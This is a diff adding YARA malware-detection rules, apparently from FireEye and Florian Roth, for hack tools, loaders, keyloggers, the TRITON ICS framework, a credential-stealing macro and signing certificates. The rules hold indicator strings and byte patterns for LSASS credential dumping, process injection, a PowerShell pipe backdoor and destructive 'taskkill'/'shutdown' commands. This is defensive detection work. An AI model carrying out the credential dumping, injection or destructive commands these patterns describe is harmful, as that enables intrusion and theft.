+        $typelibguid1 = "78B2197B-2E56-425A-9585-56EDC2C797D6" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_HackTool_MSIL_ADPassHunt_2
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s1 = "LDAP://" wide
+        $s2 = "[GPP] Searching for passwords now..." wide
+        $s3 = "Searching Group Policy Preferences (Get-GPPPasswords + Get-GPPAutologons)!" wide
+        $s4 = "possibilities so far)..." wide
+        $s5 = "\\groups.xml" wide
+        $s6 = "Found interesting file:" wide
+        $s7 = "\x00GetDirectories\x00"
+        $s8 = "\x00DirectoryInfo\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_ADPassHunt_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $sb1 = { 73 [2] 00 0A 0A 02 6F [2] 00 0A 0B 38 [4] 12 ?? 28 [2] 00 0A 0? 73 [2] 00 0A 0? 0? 0? 6F [2] 00 0A 1? 13 ?? 72 [4] 13 ?? 0? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 1? 3B [4] 11 ?? 72 [4] 28 [2] 00 0A 13 ?? 0? 72 [4] 6F [2] 00 0A 6F [2] 00 0A 13 ?? 38 [4] 11 ?? 6F [2] 00 0A 74 [2] 00 01 13 ?? 11 ?? 72 [4] 6F [2] 00 0A 2C ?? 11 ?? 72 [4] 11 ?? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 6F [2] 00 0A 72 [4] 28 [2] 00 0A }
+        $sb2 = { 02 1? 8D [2] 00 01 [0-32] 1? 1F 2E 9D 6F [2] 00 0A 72 [4] 0A 0B 1? 0? 2B 2E 0? 0? 9A 0? 0? 72 [4] 6F [2] 00 0A 2D ?? 06 72 [4] 28 [2] 00 0A 0A 06 72 [4] 0? 28 [2] 00 0A 0A 0? 1? 58 0? 0? 0? 8E 69 32 CC 06 2A }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_SHARPSACK_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsack' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "1946808a-1a01-40c5-947b-8b4c3377f742" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win64_PGF_5
+{
+    meta:
+        description = "PGF payload, generated rule based on symfunc/8167a6d94baca72bac554299d7c7f83c"
+        md5 = "150224a0ccabce79f963795bf29ec75b"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $cond1 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 13 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 66 23 00 00 48 8B 4C 24 40 FF 15 EB F9 FF FF B8 01 00 00 00 48 83 C4 38 C3 }
+        $cond2 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 A3 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 F6 20 00 00 48 8B 4C 24 40 FF 15 7B FA FF FF B8 01 00 00 00 48 83 C4 38 C3 }
+        $cond3 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? 8B 44 24 48 89 44 24 20 83 7C 24 2? ?1 74 ?? EB ?? 48 8B 44 24 40 48 ?? ?? ?? ?? ?? ?? 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? 48 83 C4 38 C3 }
+        $cond4 = { 4C 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 48 83 EC 38 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? 01 74 ?? EB ?? 48 8B 44 24 ?? 48 89 05 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B8 01 00 00 00 48 83 C4 38 C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_2
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "9529c4c9773392893a8a0ab8ce8f8ce1,05b99d438dac63a5a993cea37c036673"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $1 = "initialize" fullword
+        $2 = "getData" fullword
+        $3 = "putData" fullword
+        $4 = "fini" fullword
+        $5 = "Cookie: SID1=%s" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_DTRIM_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'dtrim' project, which is a modified version of SharpSploit."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "7760248f-9247-4206-be42-a6952aa46da2" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SharPivot_2
+{
+    meta:
+        md5 = "e4efa759d425e2f26fbc29943a30f5bd"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $s1 = "costura"
+        $s2 = "cmd_schtask" wide
+        $s3 = "cmd_wmi" wide
+        $s4 = "cmd_rpc" wide
+        $s5 = "GoogleUpdateTaskMachineUA" wide
+        $s6 = "servicehijack" wide
+        $s7 = "poisonhandler" wide
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_REVOLVER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'revolver' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
+        $typelibguid1 = "b214d962-7595-440b-abef-f83ecdb999d2" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Keylogger_Win64_REDFLARE_1
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "fbefb4074f1672a3c29c1a47595ea261"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $create_window = { 41 B9 00 00 CF 00 [4-40] 33 C9 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 FF 15 }
+        $keys_check = { B9 14 00 00 00 FF 15 [4-8] B9 10 00 00 00 FF 15 [4] BE 00 80 FF FF 66 85 C6 75 ?? B9 A0 00 00 00 FF 15 [4] 66 85 C6 75 ?? B9 A1 00 00 00 FF 15 [4] 66 85 C6 74 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_HackTool_Win64_EXCAVATOR_1
+{
+    meta:
+        date_created = "2020-11-30"
+        date_modified = "2020-11-30"
+        md5 = "6a9a114928554c26675884eeb40cc01b"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $api1 = "PssCaptureSnapshot" fullword
+        $api2 = "MiniDumpWriteDump" fullword
+        $dump = { BA FD 03 00 AC [0-8] 41 B8 1F 00 10 00 48 8B ?? FF 15 [4] 85 C0 0F 85 [2] 00 00 [0-2] 48 8D 05 [5] 89 ?? 24 30 ( C7 44 24 28 80 00 00 00 48 8D 0D ?? ?? ?? ?? | 48 8D 0D ?? ?? ?? ?? C7 44 24 28 80 00 00 00 ) 45 33 C9 [0-5] 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 [0-10] FF 15 [4] 48 8B ?? 48 83 F8 FF ( 74 | 0F 84 ) [1-4] 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 30 ( 41 B9 02 00 00 00 | 44 8D 4D 02 ) ?? 89 ?? 24 28 4C 8B ?? 8B [2] 89 ?? 24 20 FF 15 [4] 48 8B ?? FF 15 [4] 48 8B ?? FF 15 [4] FF 15 [4] 48 8B 54 24 ?? 48 8B C8 FF 15 }
+        $lsass = { 6C 73 61 73 [6] 73 2E 65 78 [6] 65 }
+    condition:
+        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B)) and all of them
+}
+rule APT_Loader_Win64_MATRYOSHKA_2
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        description = "matryoshka.rs"
+        md5 = "7f8102b789303b7861a03290c79feba0"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 4D [2] 00 49 [2] 08 B? 02 00 00 00 31 ?? E8 [4] 48 89 ?? 48 89 ?? 4C 89 ?? 49 89 ?? E8 [4] 4C 89 ?? 48 89 ?? E8 [4] 83 [2] 01 0F 84 [4] 48 89 ?? 48 8B [2] 48 8B [2] 48 89 [5] 48 89 [5] 48 89 [5] 41 B? [4] 4C 89 ?? 31 ?? E8 [4] C7 45 [5] 48 89 ?? 4C 89 ?? E8 [4] 85 C0 }
+        $sb2 = { 4C [2] 0F 83 [4] 41 0F [3] 01 41 32 [2] 00 48 8B [5] 48 3B [5] 75 ?? 41 B? 01 00 00 00 4C 89 ?? E8 [4] E9 }
+        $si1 = "CreateToolhelp32Snapshot" fullword
+        $si2 = "Process32Next" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Backdoor_PS1_BASICPIPESHELL_1
+{
+    meta:
+        author = "FireEye"
+    strings:
+        $s1 = "function Invoke-Client()" ascii nocase wide
+        $s2 = "function Invoke-Server" ascii nocase wide
+        $s3 = "Read-Host 'Enter Command:'" ascii nocase wide
+        $s4 = "new-object System.IO.Pipes.NamedPipeClientStream(" ascii nocase wide
+        $s5 = "new-object System.IO.Pipes.NamedPipeServerStream(" ascii nocase wide
+        $s6 = " = iex $" ascii nocase wide
+    condition:
+        all of them
+}
+rule APT_Loader_MSIL_LUALOADER_1
+{
+    meta:
+        author = "FireEye"
+    strings:
+        $sb1 = { 1? 72 [4] 14 D0 [2] 00 02 28 [2] 00 0A 1? 8D [2] 00 01 13 ?? 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 28 [2] 00 0A 28 [2] 00 0A 80 [2] 00 04 7E [2] 00 04 7B [2] 00 0A 7E [2] 00 04 11 ?? 11 ?? 6F [2] 00 0A 6F [2] 00 0A }
+        $ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00"
+        $ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00"
+        $ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00"
+        $ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide
+        $ss5 = "1F 8B 08 00 00 00 00 00" wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_MSIL_LUALOADER_2
+{
+    meta:
+        author = "FireEye"
+    strings:
+        $ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00"
+        $ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00"
+        $ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00"
+        $ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide
+        $ss5 = "1F 8B 08 00 00 00 00 00" wide
+        $ss6 = "\x00LoadLibrary\x00"
+        $ss7 = "\x00GetProcAddress\x00"
+        $ss8 = "\x00VirtualProtect\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule FE_APT_Loader_MSIL_REVOLVER_1
+{
+    meta:
+        author = "FireEye"
+    strings:
+        $inject = { 28 [2] 00 06 0? 0? 7B [2] 00 04 7E [2] 00 0A 28 [2] 00 0A [2-40] 7E [2] 00 0A 0? 20 00 10 00 00 28 [2] 00 0A 0? 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? ?? 20 00 30 00 00 1F 40 28 [2] 00 06 [2-40] 28 [2] 00 0A 1? 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 1? ?? FE 15 [2] 00 02 1? ?? 72 [2] 00 70 28 [2] 00 06 1? ?? FE 15 [2] 00 02 1? ?? 1? ?? 1? 28 [2] 00 06 2? 7E [2] 00 0A 1? ?? 0? 7B [2] 00 04 1? ?? 1? 1? ?? 28 [2] 00 06 2? ?? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-10] 7E [2] 00 0A 1? ?? 1? ?? 20 [2] 1F 00 7E [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? 1? 20 [2] 00 00 20 [2] 00 00 7E [2] 00 0A 28 [2] 00 06 2? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-40] 1? ?? 0? 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 2? ?? 2? 1? 1? ?? 1? ?? 1? ?? 28 [2] 00 06 }
+        $iz1 = /_Cor(Exe|Dll)Main/ fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_MSIL_DUEDLLIGENCE_1
+{
+    meta:
+        author = "FireEye"
+    strings:
+        $create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A }
+        $iz1 = /_Cor(Exe|Dll)Main/ fullword
+        $suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_MSIL_DUEDLLIGENCE_2
+{
+    meta:
+        author = "FireEye"
+    strings:
+        $1 = "DueDLLigence" fullword
+        $2 = "CPlApplet" fullword
+        $iz1 = /_Cor(Exe|Dll)Main/ fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_MSIL_DUEDLLIGENCE_3
+{
+    meta:
+        author = "FireEye"
+    strings:
+        $create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A }
+        $iz1 = /_Cor(Exe|Dll)Main/ fullword
+        $rc4 = { 20 00 01 00 00 8D [2] 00 01 1? ?? 20 00 01 00 00 8D [2] 00 01 1? ?? 03 8E 69 8D [2] 00 01 1? ?? 16 0B 2B ?? 1? ?? 07 02 07 02 8E 69 5D 91 9E 1? ?? 07 07 9E 07 17 58 0B 07 20 00 01 00 00 32 }
+        $suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
diff --git a/yara-mikesxrs/Fireeye/Fireye_index.yara b/yara-mikesxrs/Fireeye/Fireye_index.yara
new file mode 100644
index 0000000..7770352
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/Fireye_index.yara
@@ -0,0 +1,141 @@
+rule APT_DeputyDog_Strings
+{
+
+	meta:
+
+		author = "FireEye Labs"
+		version = "1.0"
+		description = "detects string seen in samples used in 2013-3893 0day attacks"
+		reference = "8aba4b5184072f2a50cbc5ecfe326701"
+
+	strings:
+
+		$mz = {4d 5a}
+		$a = "DGGYDSYRL"
+
+	condition:
+
+		($mz at 0) and $a
+
+}
+
+rule callTogether_certificate
+{
+
+  meta:
+
+    author = "Fireeye Labs"
+
+    version = "1.0"
+
+    reference_hash = "d08e038d318b94764d199d7a85047637"
+
+    reference = "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
+
+    description = "detects binaries signed with the CallTogether certificate"
+
+  strings:
+
+    $serial = {452156C3B3FB0176365BDB5B7715BC4C}
+
+    $o = "CallTogether, Inc."
+
+  condition:
+
+    $serial and $o
+
+}
+
+rule FE_APT_9002_rat
+
+{
+
+	meta:
+		author = "FireEye Labs"
+		reference = "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html"
+
+    strings:
+
+        $mz = {4d 5a}
+
+        $a = "rat_UnInstall" wide ascii
+
+    condition:
+
+        ($mz at 0) and $a
+
+}
+
+rule MACROCHECK
+{
+    meta:
+        description = "Identify office documents with the MACROCHECK credential stealer in them.  It can be run against .doc files or VBA macros extraced from .docx files (vbaProject.bin files)."
+        author = "Fireeye Labs"
+        version = "1.0"
+ 
+    strings:
+        $PARAMpword = "pword=" ascii wide
+        $PARAMmsg = "msg=" ascii wide
+        $PARAMuname = "uname=" ascii
+        $userform = "UserForm" ascii wide
+        $userloginform = "UserLoginForm" ascii wide
+        $invalid = "Invalid username or password" ascii wide
+        $up1 = "uploadPOST" ascii wide
+        $up2 = "postUpload" ascii wide
+        
+    condition:
+        all of ($PARAM*) or (($invalid or $userloginform or $userform) and ($up1 or $up2))
+}
+
+
+rule Molerats_certs
+
+{
+
+	meta:
+
+		author = "FireEye Labs"
+
+		description = "this rule detections code signed with certificates used by the Molerats actor"
+        
+        reference = "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html"
+
+strings:
+
+	$cert1 = {06 50 11 A5 BC BF 83 C0 93 28 16 5E 7E 85 27 75}
+    $cert2 = {03 e1 e1 aa a5 bc a1 9f ba 8c 42 05 8b 4a bf 28}
+    $cert3 = {0c c0 35 9c 9c 3c da 00 d7 e9 da 2d c6 ba 7b 6d}
+
+
+
+condition:
+
+1 of ($cert*)
+
+}
+
+rule qti_certificate
+
+{
+
+    meta:
+
+        author = "Fireeye Labs"
+
+        reference_hash = "cfa3e3471430a0096a4e7ea2e3da6195"
+
+        reference = "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
+
+        description = "detects binaries signed with the QTI International Inc certificate"   
+
+    strings:
+
+        $cn = "QTI International Inc"
+
+        $serial = { 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 }
+
+    condition:
+
+        $cn and $serial
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fireeye/MACROCHECK.YAR b/yara-mikesxrs/Fireeye/MACROCHECK.YAR
new file mode 100644
index 0000000..0946e33
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/MACROCHECK.YAR
@@ -0,0 +1,20 @@
+rule MACROCHECK
+{
+    meta:
+        description = "Identify office documents with the MACROCHECK credential stealer in them.  It can be run against .doc files or VBA macros extraced from .docx files (vbaProject.bin files)."
+        author = "Fireeye Labs"
+        version = "1.0"
+ 
+    strings:
+        $PARAMpword = "pword=" ascii wide
+        $PARAMmsg = "msg=" ascii wide
+        $PARAMuname = "uname=" ascii
+        $userform = "UserForm" ascii wide
+        $userloginform = "UserLoginForm" ascii wide
+        $invalid = "Invalid username or password" ascii wide
+        $up1 = "uploadPOST" ascii wide
+        $up2 = "postUpload" ascii wide
+        
+    condition:
+        all of ($PARAM*) or (($invalid or $userloginform or $userform) and ($up1 or $up2))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fireeye/Molerats_certs.yar b/yara-mikesxrs/Fireeye/Molerats_certs.yar
new file mode 100644
index 0000000..ceb5eb9
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/Molerats_certs.yar
@@ -0,0 +1,25 @@
+rule Molerats_certs
+
+{
+
+	meta:
+
+		author = "FireEye Labs"
+
+		description = "this rule detections code signed with certificates used by the Molerats actor"
+        
+        reference = "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html"
+
+strings:
+
+	$cert1 = {06 50 11 A5 BC BF 83 C0 93 28 16 5E 7E 85 27 75}
+    $cert2 = {03 e1 e1 aa a5 bc a1 9f ba 8c 42 05 8b 4a bf 28}
+    $cert3 = {0c c0 35 9c 9c 3c da 00 d7 e9 da 2d c6 ba 7b 6d}
+
+
+
+condition:
+
+1 of ($cert*)
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fireeye/TRITON_Framework.yar b/yara-mikesxrs/Fireeye/TRITON_Framework.yar
new file mode 100644
index 0000000..a8cc554
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/TRITON_Framework.yar
@@ -0,0 +1,63 @@
+rule TRITON_ICS_FRAMEWORK
+{
+      meta:
+          author = "nicholas.carr @itsreallynick"
+          md5 = "0face841f7b2953e7c29c064d6886523"
+          description = "TRITON framework recovered during Mandiant ICS incident response"
+          reference = "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"
+          
+      strings:
+          $python_compiled = ".pyc" nocase ascii wide
+          $python_module_01 = "__module__" nocase ascii wide
+          $python_module_02 = "<module>" nocase ascii wide
+          $python_script_01 = "import Ts" nocase ascii wide
+          $python_script_02 = "def ts_" nocase ascii wide  
+
+          $py_cnames_01 = "TS_cnames.py" nocase ascii wide
+          $py_cnames_02 = "TRICON" nocase ascii wide
+          $py_cnames_03 = "TriStation " nocase ascii wide
+          $py_cnames_04 = " chassis " nocase ascii wide  
+
+          $py_tslibs_01 = "GetCpStatus" nocase ascii wide
+          $py_tslibs_02 = "ts_" ascii wide
+          $py_tslibs_03 = " sequence" nocase ascii wide
+          $py_tslibs_04 = /import Ts(Hi|Low|Base)[^:alpha:]/ nocase ascii wide
+          $py_tslibs_05 = /module\s?version/ nocase ascii wide
+          $py_tslibs_06 = "bad " nocase ascii wide
+          $py_tslibs_07 = "prog_cnt" nocase ascii wide  
+
+          $py_tsbase_01 = "TsBase.py" nocase ascii wide
+          $py_tsbase_02 = ".TsBase(" nocase ascii wide 
+         
+          $py_tshi_01 = "TsHi.py" nocase ascii wide
+          $py_tshi_02 = "keystate" nocase ascii wide
+          $py_tshi_03 = "GetProjectInfo" nocase ascii wide
+          $py_tshi_04 = "GetProgramTable" nocase ascii wide
+          $py_tshi_05 = "SafeAppendProgramMod" nocase ascii wide
+          $py_tshi_06 = ".TsHi(" ascii nocase wide  
+
+          $py_tslow_01 = "TsLow.py" nocase ascii wide
+          $py_tslow_02 = "print_last_error" ascii nocase wide
+          $py_tslow_03 = ".TsLow(" ascii nocase wide
+          $py_tslow_04 = "tcm_" ascii wide
+          $py_tslow_05 = " TCM found" nocase ascii wide  
+
+          $py_crc_01 = "crc.pyc" nocase ascii wide
+          $py_crc_02 = "CRC16_MODBUS" ascii wide
+          $py_crc_03 = "Kotov Alaxander" nocase ascii wide
+          $py_crc_04 = "CRC_CCITT_XMODEM" ascii wide
+          $py_crc_05 = "crc16ret" ascii wide
+          $py_crc_06 = "CRC16_CCITT_x1D0F" ascii wide
+          $py_crc_07 = /CRC16_CCITT[^_]/ ascii wide  
+
+          $py_sh_01 = "sh.pyc" nocase ascii wide  
+
+          $py_keyword_01 = " FAILURE" ascii wide
+          $py_keyword_02 = "symbol table" nocase ascii wide  
+
+          $py_TRIDENT_01 = "inject.bin" ascii nocase wide
+          $py_TRIDENT_02 = "imain.bin" ascii nocase wide  
+
+      condition:
+          2 of ($python_*) and 7 of ($py_*) and filesize < 3MB
+}
diff --git a/yara-mikesxrs/Fireeye/callTogether_certificate.yar b/yara-mikesxrs/Fireeye/callTogether_certificate.yar
new file mode 100644
index 0000000..136f3f0
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/callTogether_certificate.yar
@@ -0,0 +1,26 @@
+rule callTogether_certificate
+{
+
+  meta:
+
+    author = "Fireeye Labs"
+
+    version = "1.0"
+
+    reference_hash = "d08e038d318b94764d199d7a85047637"
+
+    reference = "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
+
+    description = "detects binaries signed with the CallTogether certificate"
+
+  strings:
+
+    $serial = {452156C3B3FB0176365BDB5B7715BC4C}
+
+    $o = "CallTogether, Inc."
+
+  condition:
+
+    $serial and $o
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fireeye/hastati.yar b/yara-mikesxrs/Fireeye/hastati.yar
new file mode 100644
index 0000000..30d8949
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/hastati.yar
@@ -0,0 +1,25 @@
+rule Trojan_Hastati
+{
+
+meta:
+
+author = "Fireeye"
+
+description = "Korean campaign"
+
+reference = "https://www.fireeye.com/blog/technical/botnet-activities-research/2013/03/more-insights-on-the-recent-korean-cyber-attacks-trojan-hastati.html"
+
+
+strings:
+
+$str11 = "taskkill /F /IM clisvc.exe" nocase ascii wide
+
+$str2  = "taskkill /F /IM pasvc.exe" nocase ascii wide
+
+$str3  = "shutdown -r -t 0″ nocase ascii wide
+
+condition:
+
+all of them
+
+}
diff --git a/yara-mikesxrs/Fireeye/qti_certificate.yar b/yara-mikesxrs/Fireeye/qti_certificate.yar
new file mode 100644
index 0000000..179a857
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/qti_certificate.yar
@@ -0,0 +1,25 @@
+rule qti_certificate
+
+{
+
+    meta:
+
+        author = "Fireeye Labs"
+
+        reference_hash = "cfa3e3471430a0096a4e7ea2e3da6195"
+
+        reference = "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
+
+        description = "detects binaries signed with the QTI International Inc certificate"   
+
+    strings:
+
+        $cn = "QTI International Inc"
+
+        $serial = { 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 }
+
+    condition:
+
+        $cn and $serial
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/Florian_Roth_index.yara b/yara-mikesxrs/Florian Roth/Florian_Roth_index.yara
new file mode 100644
index 0000000..9744335
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/Florian_Roth_index.yara	
@@ -0,0 +1,34866 @@
+rule Havex_Trojan
+	{
+	meta:
+		description = "Detects the Havex RAT malware"
+		date = "2014-06-24"
+		author = "Florian Roth"
+		reference = "http://goo.gl/GO5mB1"
+		hash = "7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849"
+	strings:
